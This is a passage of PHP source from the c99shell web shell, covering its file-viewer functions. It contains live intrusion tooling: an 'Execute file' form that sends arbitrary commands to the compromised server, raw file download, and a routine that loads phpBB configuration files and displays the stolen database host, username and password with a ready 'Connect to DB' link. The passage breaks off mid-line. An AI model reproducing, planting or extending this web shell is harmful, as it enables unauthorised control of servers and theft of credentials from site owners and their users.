  2507.     echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
  2508.     $encoded = base64_encode(file_get_contents($d.$f));
  2509.     $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
  2510.    }
  2511.    elseif($base64 == 4)
  2512.    {
  2513.     $text = file_get_contents($d.$f);
  2514.     $encoded = base64_decode($text);
  2515.     echo "<b>Base64 Decode";
  2516.     if (base64_encode($encoded) != $text) {echo " (failed)";}
  2517.     echo "</b><br>";
  2518.    }
  2519.    if (!empty($encoded))
  2520.    {
  2521.     echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>";
  2522.    }
  2523.    echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b>
  2524. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
  2525. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
  2526. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
  2527. <nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
  2528. <P>";
  2529.   }
  2530.   elseif ($ft == "html")
  2531.   {
  2532.    if ($white) {@ob_clean();}
  2533.    echo $r;
  2534.    if ($white) {c99shexit();}
  2535.   }
  2536.   elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
  2537.   elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file($d.$f,TRUE)); echo "</pre>";}
  2538.   elseif ($ft == "phpsess")
  2539.   {
  2540.    echo "<pre>";
  2541.    $v = explode("|",$r);
  2542.    echo $v[0]."<br>";
  2543.    var_dump(unserialize($v[1]));
  2544.    echo "</pre>";
  2545.   }
  2546.   elseif ($ft == "exe")
  2547.   {
  2548.    $ext = explode(".",$f);
  2549.    $c = count($ext)-1;
  2550.    $ext = $ext[$c];
  2551.    $ext = strtolower($ext);
  2552.    $rft = "";
  2553.    foreach($exeftypes as $k=>$v)
  2554.    {
  2555.     if (in_array($ext,$v)) {$rft = $k; break;}
  2556.    }
  2557.    $cmd = str_replace("%f%",$f,$rft);
  2558.    echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\"><br><input type=submit name=submit value=\"Execute\"></form>";
  2559.   }
  2560.   elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode($r))); echo "</pre>";}
  2561.   elseif ($ft == "code")
  2562.   {
  2563.    if (ereg("php"."BB 2.(.*) auto-generated config file",$r))
  2564.    {
  2565.     $arr = explode("\n",$r);
  2566.     if (count($arr == 18))
  2567.     {
  2568.      include($d.$f);
  2569.      echo "<b>phpBB configuration is detected in this file!<br>";
  2570.      if ($dbms == "mysql4") {$dbms = "mysql";}
  2571.      if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
  2572.      else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c99shell. Please, report us for fix.";}
  2573.      echo "Parameters for manual connect:<br>";
  2574.      $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
  2575.      foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'<br>";}
  2576.      echo "</b><hr size=\"1\" noshade>";
  2577.     }
  2578.    }
  2579.    echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em; margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em; background-color: ".$highlight_background .";\">";
  2580.    if (!empty($white)) {@ob_clean();}
  2581.    highlight_file($d.$f);
  2582.    if (!empty($white)) {c99shexit();}
  2583.    echo "</div>";
  2584.   }
  2585.   elseif ($ft == "download")
  2586.   {
  2587.    @ob_clean();
  2588.    header("Content-type: application/octet-stream");
  2589.    header("Content-length: ".filesize($d.$f));
  2590.    header("Content-disposition: attachment; filename=\"".$f."\";");
  2591.    echo $r;
  2592.    exit;
  2593.   }
  2594.   elseif ($ft == "notepad")
  2595.   {
  2596.    @ob_clean();
  2597.    header("Content-type: text/plain");
  2598.    header("Content-disposition: attachment; filename=\"".$f.".txt\";");
  2599.    echo($r);
  2600.    exit;
  2601.   }
  2602.   elseif ($ft == "img")
  2603.   {
  2604.    $inf = getimagesize($d.$f);
  2605.    if (!$white)
  2606.    {
  2607.     if (empty($imgsize)) {$imgsize = 20;}
  2608.     $width = $inf[0]/100*$imgsize;
  2609.     $height = $inf[1]/100*$imgsize;
  2610.     echo "<center><b>Size:</b>&nbsp;";
  2611.     $sizes = array("100","50","20");
  2612.     foreach ($sizes as $v)
  2613.     {
  2614.      echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=".urlencode($d)."&imgsize=".$v."\">";
  2615.      if ($imgsize != $v ) {echo $v;}
  2616.      else {echo "<u>".$v."</u>";}
  2617.      echo "</a>&nbsp;&nbsp;&nbsp;";
  2618.     }
  2619.     echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\" border=\"</